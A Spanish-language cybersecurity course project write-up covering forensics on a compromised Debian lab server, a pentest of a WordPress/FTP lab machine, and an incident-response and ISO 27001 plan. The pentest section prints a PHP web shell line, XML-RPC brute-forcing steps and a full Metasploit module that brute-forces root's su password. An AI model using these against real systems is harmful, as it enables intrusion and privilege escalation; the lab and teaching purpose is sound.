Proyecto Final ciberseguridad 4Geeks

Informe 1: Informe de Incidente de Seguridad

1. Introducción

Este post es la resolución al ejercicio: https://github.com/breatheco-de/cybersecurity-final-project.git

Este informe documenta el análisis realizado en un servidor Debian comprometido tras un acceso no autorizado mediante SSH. El objetivo fue identificar el vector de ataque, mitigar la vulnerabilidad explotada, revertir cambios maliciosos y establecer medidas preventivas.

2. Objetivo y Alcance

  • Objetivo: Bloquear el exploit, corregir vulnerabilidades y evitar la escalación de privilegios.
  • Alcance:
    • Análisis de logs, procesos y archivos.
    • Escaneo de rootkits/malware.
    • Corrección de configuraciones inseguras.
    • Propuesta de hardening y políticas de seguridad.

3. Cadena de Custodia y Metodología

Herramientas Utilizadas:

  • Autopsy: Para análisis forense sin alterar la evidencia.
  • Nmap: Escaneo de puertos y servicios.
  • chkrootkit/rkhunter: Detección de rootkits.
  • grep/awk: Filtrado de logs.

Metodología:

  1. Creación de imagen forense de la máquina virtual (.ova) para preservar la cadena de custodia.
  2. Análisis sin escritura (modo solo lectura) en Autopsy.
  3. Escaneo activo una vez confirmada la integridad de la evidencia.

4. Fase 1: Reconocimiento y Recolección de Evidencias

4.1 Análisis Inicial con Autopsy

  • Evidencia Recopilada:
    • Copia RAW del disco duro virtual
SHA-256: 66955060A85B8936223A5CE29D9E0A12EF463F218659857711AFF464EAFAA482
    • Archivos modificados el 08/10/2024 (fecha clave del incidente).

    • Acceso por ssh como root no autorizado desde la IP 192.168.0.134 por el puerto 45623.

5. Fase 2: Análisis de Evidencias

5.1 Logs de Autenticación y Accesos No Autorizados

Comandos Ejecutados:

Sudo journalctl -S “2024-10-08” -U “2024-10-09” -u shh | grep “Accepted password”
Sudo cat /root/.mysql_history

Hallazgos:

  • IP 192.168.0.134: Acceso SSH exitoso como root el 08/10/2024 a las 17:40:59.

  • En MySQL hay dos usuarios que tienen GRANT ALL PRIVILEGES:
    1. wordpressuser: Este usuario tiene privilegios completos sobre la base de datos wordpress.
    2. user: Este usuario tiene privilegios completos sobre todas las bases de datos y además tiene la opción de otorgar privilegios a otros usuarios (WITH GRANT OPTION).

5.2 Detección de Archivos

Archivos Modificados:

  • /var/www/html/*: Permisos 777 en todos los archivos y contraseña de base de datos expuesta en el archivo wp-config.php (123456).

5.3 Escaneo de Rootkits y Malware

Comandos:

sudo chkrootkit 
sudo rkhunter --check

Hallazgos:

  • chkrootkit: Interfaz enp0s3 en modo promiscuo (posible sniffing).

  • rkhunter: Usuario root accesible via SSH y archivos críticos modificados.

6. Fase 3: Mitigación y Corrección de la vulnerabilidad

6.1 Bloqueo del atacante

Acciones:

  1. Bloquear IP atacante:
sudo iptables -A INPUT -s 192.168.0.134 -j DROP
sudo iptables-save

6.2 Reversión de Cambios Maliciosos

Acciones:

  1. Restringir permisos:

Para los directorios aplicamos 755:

sudo find . -type d -exec chmod 755 {} \;

Para los archivos aplicamos 644:

sudo find . -type f -exec chmod 644 {} \;

3. Excepciones importantes:

Archivo wp-config.php (permisos más restrictivos):

sudo chmod 640 wp-config.php

Carpeta wp-content/uploads (permisos para el servidor web):

sudo chmod -R 755 wp-content/uploads
sudo chown -R www-data:www-data wp-content/uploads

6.3 Corrigiendo el SSH

  • Configurar SSH seguro:
sudo nano /etc/ssh/sshd_config

Cambiar: PermitRootLogin no, PasswordAuthentication no

  • Instalar y configurar Fail2ban:
sudo apt install fail2ban

Configuramos el archivo /etc/fail2ban/jail.local y activamos ssh con los siguientes parámetros:

[sshd]
enabled = true
backend = systemd
logpath = journalctl -u ssh -b

Ahora activamos el servicio.

sudo systemctl enable fail2ban

7. Recomendaciones para Prevención Futura

  1. Autenticación Multifactor (MFA): Implementar MFA para SSH.
  2. Monitorización Continua: Usar Wazuh/SIEM para alertas en tiempo real.
  3. Política de Contraseñas:
    • Longitud mínima: 12 caracteres.
    • Prohibir reutilización y contraseñas comunes.
  4. Auditorías Periódicas: Escaneos mensuales con OpenVAS/Nessus.
  5. Copia de Seguridad: Backup diario de bases de datos y archivos críticos.

Informe 2: Informe de Pentesting

Máquina Objetivo: 10.0.2.16

1. Introducción

En esta fase, se identificaron y explotaron dos vulnerabilidades más en la máquina objetivo:

  • FTP: Acceso anónimo habilitado y uso de vsftpd 3.0.3.
  • HTTP: WordPress desactualizado y configurado sin proteger.

Impacto:

  • FTP: Acceso no autorizado y posible riesgo de seguridad.
  • HTTP: Toma de control del servidor web mediante explotación de WordPress.

2. Metodología y Herramientas

Herramientas Utilizadas desde Kali Linux:

  • Nmap: Escaneo de puertos y servicios.
  • WPScan: Detección de vulnerabilidades en WordPress.
  • Metasploit: Explotación de CVE-2023-5360.
  • Scripts personalizados: Creación de Diccionarios y módulo metasploit

3. Detección de Vulnerabilidades

Escaneo con Nmap:

nmap -sV -p- 10.0.2.16

Resultados:

  • Puerto 22 (SSH): OpenSSH 9.2p1 (desactualizado, pero ya lo vimos en el INFORME 1).
  • Puerto 80 (HTTP): Apache 2.4.62 con wordpress.
  • Puerto 21 (FTP): vsftpd 3.0.3 con acceso anónimo habilitado.

3.1. Vulnerabilidad en FTP

  • Acceso Anónimo Habilitado:
ftp 10.0.2.16

Usuario: anonymous | Contraseña: (vacía)

Tras acceder, nos damos cuenta que realmente no tenemos ningún archivo interesante, y que el usuario Anonymous no puede hacer prácticamente nada.

  • Versión Vulnerable de vsftpd (3.0.3):
nmap -sV -p 21 10.0.2.16 –script vuln

-CVE-2021-30047: https://vulners.com/cve/CVE-2021-30047 (ataque Dos)

-CVE-2021-3618: https://vulners.com/cve/CVE-2021-3618 (ataque MITM)

Nada más en FTP, apuntamos los fallos para corregirlo y pasamos a lo siguiente.

3.2. Vulnerabilidad en HTTP

wpscan --url http://10.0.2.16 --api-token [TOKEN] 
  • WordPress 6.6.2 Desactualizado:

[+] WordPress version 6.6.2 identified (Outdated, released on 2023-10-12).

  • Robots.txt con urls interesantes:

 

  • XML-RPC activo (esto permite realizar varios ataques desde Metasploit)

Módulos metasploit para explotar xmlrpc:

auxiliary/scanner/http/wordpress_ghost_scanner/
auxiliary/dos/http/wordpress_xmlrpc_dos/
auxiliary/scanner/http/wordpress_xmlrpc_login/
auxiliary/scanner/http/wordpress_pingback_access/
  • Directorio de subida visible:
  • WP-Cron activo:
  • Readme.html está sin eliminar
  • Directorios de varios temas expuestos
  • Utilizando la API se ha encontrado un usuario “Wordpress-user”

4. Explotación de WordPress desde Kali Linux

4.1. Obteniendo acceso al WordPress

Tras intentar iniciar sesión utilizando rockyou, y varios diccionarios de SecList, no hemos tenido suerte. Así que vamos a intentar acceder aprovechando la información que sabemos actualmente para intentar obtener acceso mediante un ataque de diccionario personalizado.

Sabemos que un usuario es “Wordpress-user”. Por lo que vamos a probar a generar todas las posibles combinaciones de ese usuario, para ello utilizamos un script de Python creado por mí llamado “generador_diccionario.py” el cual te pide palabras, y una vez le introduces todo, te genera todas las posibles combinaciones y te lo guarda en un diccionario.

import itertools

# Función para pedir palabras al usuario
def obtener_palabras():
    palabras = []
    while True:
        palabra = input("Introduce una palabra: ").strip()
        palabras.append(palabra)
        continuar = input("¿Quieres añadir más palabras? (S/N): ").strip().upper()
        if continuar == 'N':
            break
    return palabras

# Función para generar todas las combinaciones posibles
def generar_combinaciones(palabras, archivo_salida="diccionario.txt"):
    with open(archivo_salida, "w") as archivo:
        for r in range(1, len(palabras) + 1):
            for combinacion in itertools.permutations(palabras, r):
                archivo.write("".join(combinacion) + "\n")
    print(f"Diccionario generado y guardado en {archivo_salida}")

# Script principal
if __name__ == "__main__":
    print("¡Vamos a crear un diccionario con todas las combinaciones posibles de las palabras!")
    palabras = obtener_palabras()
    generar_combinaciones(palabras)

Si hacemos un “cat” al diccionario.txt, vemos que ya tenemos nuestro diccionario.

Con “wc -l” podemos comprobar el total de palabras, en este caso son 64:

Ahora tras probar de nuevo el ataque, seguimos sin poder acceder al usuario. Vamos a probar una última opción creando un Diccionario fusionado. Ya que tenemos nuestro diccionario personalizarlo, podemos fusionarlo con otro diccionario (como rockyou o cualquiera de SecList por ejemplo), para crear un diccionario masivo fusionando cada palabra de nuestro diccionario custom con cada una de las palabras del otro diccionario. Para ello, también utilizaremos otro script mío que he programado en Python, el cual he llamado “fusionador.py”.

# Función para fusionar dos diccionarios
def fusionar_diccionarios(diccionario_custom, diccionario_base, archivo_salida="diccionario_fusionado.txt"):
    with open(diccionario_custom, "r", encoding="utf-8") as custom_file, \
         open(diccionario_base, "r", encoding="utf-8") as base_file, \
         open(archivo_salida, "w", encoding="utf-8") as salida_file:
        
        palabras_custom = [line.strip() for line in custom_file]
        palabras_base = [line.strip() for line in base_file]
        
        # Crear combinaciones y escribirlas en el archivo de salida
        for palabra_custom in palabras_custom:
            for palabra_base in palabras_base:
                salida_file.write(f"{palabra_custom}{palabra_base}\n")
    
    print(f"Diccionario fusionado generado: {archivo_salida}")

# Solicitar archivos al usuario
if __name__ == "__main__":
    print("Fusionador de Diccionarios")
    archivo_custom = input("Introduce la ruta del diccionario personalizado: ").strip()
    archivo_base = input("Introduce la ruta del diccionario base: ").strip()
    archivo_salida = input("Introduce el nombre para el archivo de salida (por defecto: diccionario_fusionado.txt): ").strip()
    
    # Usar nombre por defecto si no se proporciona uno
    if not archivo_salida:
        archivo_salida = "diccionario_fusionado.txt"
    
    # Llamar a la función para fusionar los diccionarios
    fusionar_diccionarios(archivo_custom, archivo_base, archivo_salida)

Ahora tenemos un diccionario masivo que combina los dos diccionarios (ten en cuenta que, si utilizas un diccionario muy grande, el archivo ocupará muchos GB porque al hacer la fusión ha crecido de forma exponencial):

En nuestro caso, el nuevo diccionario incluye 640 palabas:

Ahora nos aprovecharemos del xmlrpc para probar logins de forma masiva, podemos hacerlo utilizando el módulo de Metasploit:

scanner/http/wordpress_xmlrpc_login

Lo configuraremos de la siguiente manera, asignando nuestro diccionario personalizado, la IP del wordpress, y el usuario que conocemos “wordpress-user”. Activaremos también la opción de stop_on_success. Debería de quedar así:

Tras ejecutarlo, intentará todas las combinaciones, hasta que por fin encontró la correcta:

Usuario: wordpress-user

Password: wordpressuser123456

Ahora vamos a la URL http://10.0.2.16/wp-login.php e introducimos las credenciales obtenidas:

¡Hemos logrado acceso al Panel de Administrador de WordPress!

4.2. Inyectando comandos del Sistema

Ahora que tenemos acceso, vamos a aprovecharnos de cualquiera de los temas o plugins inactivos para ejecutar comandos en el sistema. (Da igual el que sea).

Para ello vamos a “Tools>Theme File Editor”, y luego arriba a la derecha seleccionamos cualquier tema inactivo. (en mi caso “twenty twenty three”)

Ahora en el menú de la derecha, elegimos cualquier archivo .php, en mi caso he elegido “hidden-404.php”. Y añadimos en cualquier parte del archivo el código:

system($_GET[‘cmd’])

Una vez modificado el archivo .php podemos lanzar comandos haciendo una petición a ese archivo y añadiendo un valor al parámetro cmd:

4.3 Transformando nuestra Shell a Meterpreter

Ahora que podemos ejecutar comandos en el sistema, podemos crear una reverse Shell y obtenerla en Metasploit para tener todas las funcionalidades de Meterpreter.

Así que abrimos metasploit y ejecutamos el módulo multi/handler para ponerlo a escuchar:

Ahora vamos a crear una rever Shell en php, la creamos en https://www.revshells.com/ y la codificamos en formato URL.

Y ejecutamos el comando utilizando nuestra ejecución de comandos de wordpress:

Ahora en nuestro metasploit deberemos haber recibido una Shell:

Ahora ejecutamos el comando “sessions -u 1” para convertir nuestra sesión 1 en meterpreter:

Genial, ahora si abrimos la sesión 2, ¡ya hemos obtenido una Shell con meterpreter!

4.4 Escalando privilegios a root

Ahora que ya tenemos nuestra sesión de meterpreter creada, vamos a intentar escalar a root, para ello ejecutamos el módulo de post/multi/recon/local_Exploit_sugester y veamos si encuentra algún método de escalada.

Y efectivamente, nos ha encontrado 5 posibles formas de escalar.

Después de probar los 5 módulos, nos damos cuenta que en este caso son falsos positivos. Así que como no hay ningún módulo, voy a crear yo mi propio módulo de Metasploit. En este caso, he creado un módulo de Post Explotación que permite seleccionar un diccionario en nuestra máquina Kali, y el propio módulo probará todas esas contraseñas sobre el usuario que nosotros le digamos, en nuestro caso personal el objetivo es “root”, pero serviría contra cualquier otro nombre de usuario.

brute_sudo.rb

require 'msf/core'

class MetasploitModule < Msf::Post
  Rank = NormalRanking

  include Msf::Post::Linux::BusyBox
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'         => 'Linux SU Password Brute Forcer',
        'Description'  => 'Bruteforce SU passwords for privilege escalation',
        'License'      => MSF_LICENSE,
        'Author'       => ['DavidalVK'],
        'Platform'     => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter']
      )
    )

    register_options(
      [
        OptPath.new('PASS_FILE', [true, 'Password file path', '/tmp/rockyou.txt']),
        OptString.new('USERNAME', [true, 'Target user', 'root'])
      ]
    )
  end

  def run
    unless session.type == 'shell' || session.type == 'meterpreter'
      print_error("This module requires an interactive shell")
      return
    end

    pass_file = datastore['PASS_FILE']
    user = datastore['USERNAME']

    unless File.exist?(pass_file)
      print_error("Password file not found: #{pass_file}")
      return
    end

    File.foreach(pass_file).each do |password|
      password.chomp!
      next if password.empty?

      # Escape special characters
      safe_password = password.gsub(/'/) { %q(\') }
      
      # Build secure command
      cmd = "printf '%s\\n' '#{safe_password}' | su - #{user} -c '/usr/bin/id && echo BINGO' 2>/dev/null"
      output = cmd_exec(cmd)
      
      if output.include?("BINGO")
        print_good("Valid password found: #{password}")
        print_status("UID info: #{output.split("\n").first}")
        return
      else
        vprint_status("Testing: #{password}")
      end
    end

    print_error("No valid passwords found")
  end
end

Cargaremos nuestro módulo post/Linux/escalate/brute_sudo en metasploit. Ahora seleccionamos nuestra sesión activa, nuestro diccionario (por ejemplo, rockyou), el nombre de usuario (en nuestro caso root). Debería quedar así:

Ahora ejecutamos el módulo con exploit, y esperamos…

¡Bingo! Hemos conseguido una contraseña válida para el usuario root: 123456.

Ya tenemos la Shell creada como root (La sesión 3):

5. Corrección de Vulnerabilidades

5.1. FTP: Eliminar Acceso Anónimo y Actualizar

  1. Editar /etc/vsftpd.conf:
anonymous_enable=NO
local_enable=YES
chroot_local_user=YES
  1. Actualizar vsftpd:
sudo apt update && sudo apt upgrade vsftpd -y

5.2. HTTP: Actualizar WordPress y Reforzar Seguridad

  1. Actualizar WordPress a la Última Versión.
  2. Ajustar Permisos: De la misma forma que se mostró anteriormente en la fase 1 del documento.
  3. Desactivar la edición de archivos: Para evitar la ejecución de comandos que exploté anteriormente, hay que añadir el código define(‘DISALLOW_FILE_EDIT’, true); a nuestro archivo wp-config.php, así se desactivará la opción de modificar el código de los temas y plugins.
  4. Añadir 2FA: Recomendaría añadir un doble factor de autenticación con algún plugin para que sea más complicado el acceso no autorizado.

6. Validación Post-Corrección

  • FTP:
nmap -p 21 10.0.2.16

21/tcp open ftp vsftpd 3.0.5 # Versión actualizada

  • HTTP:
wpscan --url http://10.0.2.16

[+] WordPress version 6.8.1 identified (Latest version).

7. Conclusiones y Recomendaciones

Conclusiones:

  • El acceso anónimo en FTP no debería estar activo, ya que no es necesario y puede conllevar un riesgo de seguridad.
  • La versión desactualizada de WordPress, la contraseña poco segura y la edición de archivos, facilitó la ejecución remota de código.

Recomendaciones:

  • Implementar autenticación de dos factores (2FA) para FTP y WordPress.
  • Instalar algún módulo de seguridad para WordPress que proteja el sitio.
  • Programar actualizaciones automáticas para WordPress y servicios clave.
  • Realizar auditorías mensuales con Nessus o OpenVAS.

Informe 3: Plan de respuesta de incidentes y certificación

1. Plan de Respuesta a Incidentes basado en NIST SP 800-61

1.1. Preparación

  • Equipo de Respuesta a Incidentes (CSIRT):
    • Coordinador: Responsable de activar el plan y gestionar comunicaciones.
    • Analista Forense: Investiga el origen y alcance del incidente.
    • Administrador de Sistemas: Restaura servicios y corrige vulnerabilidades.
    • Equipo Legal: Gestiona notificaciones regulatorias (ej. GDPR).
  • Herramientas y Recursos:
    • SIEM (Wazuh/Elastic Stack) para correlación de logs.
    • IDS/IPS (Suricata) para detección y bloqueo de amenazas.
    • Backups diarios cifrados en ubicaciones locales y en la nube (AWS S3).
  • Simulacros: Ejercicios trimestrales de respuesta a incidentes, incluyendo ataques de ransomware y acceso no autorizado vía SSH.

1.2. Identificación y Análisis

  • Detección:
    • Alertas del SIEM por múltiples intentos fallidos de SSH y FTP desde IPs desconocidas.
    • Monitoreo de logs de Apache y WordPress para detectar inyección de código malicioso.
  • Clasificación del último Incidente:

Categoría

Ejemplo

Gravedad

Crítico

Acceso root no autorizado por SSH

Alto impacto en confidencialidad e integridad

Crítico

Comprometido WordPress

Exfiltrados todos los ficheros que forman el wordpress

  • Evidencia Recolectada:
    • Logs de autenticación SSH.
    • Imagen forense del servidor comprometido
SHA-256: 66955060A85B8936223A5CE29D9E0A12EF463F21865985711AFF464EAFAA482

1.3. Contención

  • Acciones Inmediatas:
    • Bloquear IP atacante (192.168.0.134) en el firewall:
sudo iptables -A INPUT -s 192.168.0.134 -j DROP 
    • Deshabilitar acceso SSH a root:
sudo nano /etc/ssh/sshd_config
# Cambiar: PermitRootLogin no 
    • Aislar el servidor comprometido de la red interna.

1.4. Erradicación

  • Eliminación de Amenazas:
    • Eliminar archivos maliciosos.
    • Actualizar WordPress y plugins a la última versión.
    • Escanear rootkits con rkhunter y chkrootkit.
  • Corrección de Vulnerabilidades:
    • Restringir permisos en /var/www/html:
sudo find /var/www/html -type d -exec chmod 755 {} \;
sudo find /var/www/html -type f -exec chmod 644 {} \;
    • Eliminar acceso anónimo en FTP:
sudo nano /etc/vsftpd.conf 
# Cambiar: anonymous_enable=NO

1.5. Recuperación

  • Restauración desde Backups:
    • Base de datos:
gunzip < backup_db_20250427.sql.gz | mysql -u root -p wordpress 
    • Archivos de WordPress:
sudo tar -xzf backup_html_20250427.tar.gz -C /var/www/html 
  • Validación Post-Recuperación:
    • Pruebas de funcionalidad del sitio web (login, publicación de contenido).
    • Revisión de logs para detectar actividad residual.

1.6. Lecciones Aprendidas

  • Mejoras Identificadas:
    • Implementar autenticación multifactor (MFA) para SSH y WordPress.
    • Actualizar políticas de contraseñas (mínimo 12 caracteres, rotación cada 90 días).
    • Ejecutar escaneos de vulnerabilidades mensuales con OpenVAS.

2. Sistema de Gestión de Seguridad de la Información (SGSI) conforme a ISO 27001

2.1. Análisis de Riesgos

  • Activos Críticos:

Activo

Riesgo

Impacto

Probabilidad

Servidor Debian

Acceso no autorizado vía SSH

Alto

Media

Base de datos MySQL

Exposición de credenciales

Alto

Alta

  • Controles Implementados:

Riesgo

Control

Referencia ISO 27001

Contraseñas débiles

Política de complejidad y MFA

A.9.4.1

Servicios desactualizados

Parches automáticos con unattended-upgrades

A.12.6.1

2.2. Políticas de Seguridad

  • Control de Acceso:
    • MFA obligatorio para todos los servicios. Sobre todo, SSH y panel de WordPress.
    • Principio de menor privilegio: Usuarios solo tienen acceso necesario.
  • Protección de Datos:
    • Cifrado AES-256 para backups y datos en tránsito (SSL/TLS).
    • Segmentación de red: DMZ para el servidor web, separado de la red interna.
  • Respaldos:
    • Frecuencia: Diaria para archivos, horaria para bases de datos.
    • Almacenamiento: Local (NAS) y en la nube (AWS S3 Glacier).

2.3. Planes de Acción

  • Mitigación de Vulnerabilidades:
    • Cronograma:

Mes

Acción

Responsable

1

Implementar MFA en SSH

Admin. Sistemas

2

Auditoría de permisos en WordPress

Equipo Seguridad

  • Capacitación:
    • Simulacros de phishing trimestrales para empleados.
    • Talleres sobre configuración segura de servicios (SSH, FTP).

2.4. Certificación ISO 27001

  • Declaración de Aplicabilidad (SoA):
    • Incluye controles A.12 (Operaciones de seguridad) y A.14 (Seguridad en adquisiciones).
  • Auditorías Internas:
    • Revisión semestral del SGSI por un auditor independiente.
  • Mejora Continua:
    • Actualización anual del análisis de riesgos y políticas.

3. Conclusión

Este plan integra las mejores prácticas del NIST SP 800-61 con los requisitos de ISO 27001, asegurando una respuesta ágil a incidentes y una gestión proactiva de riesgos. La organización estará preparada para contener ataques similares al hackeo analizado, minimizando el impacto y garantizando la continuidad operativa.

Comparte esta Publicación en Redes Sociales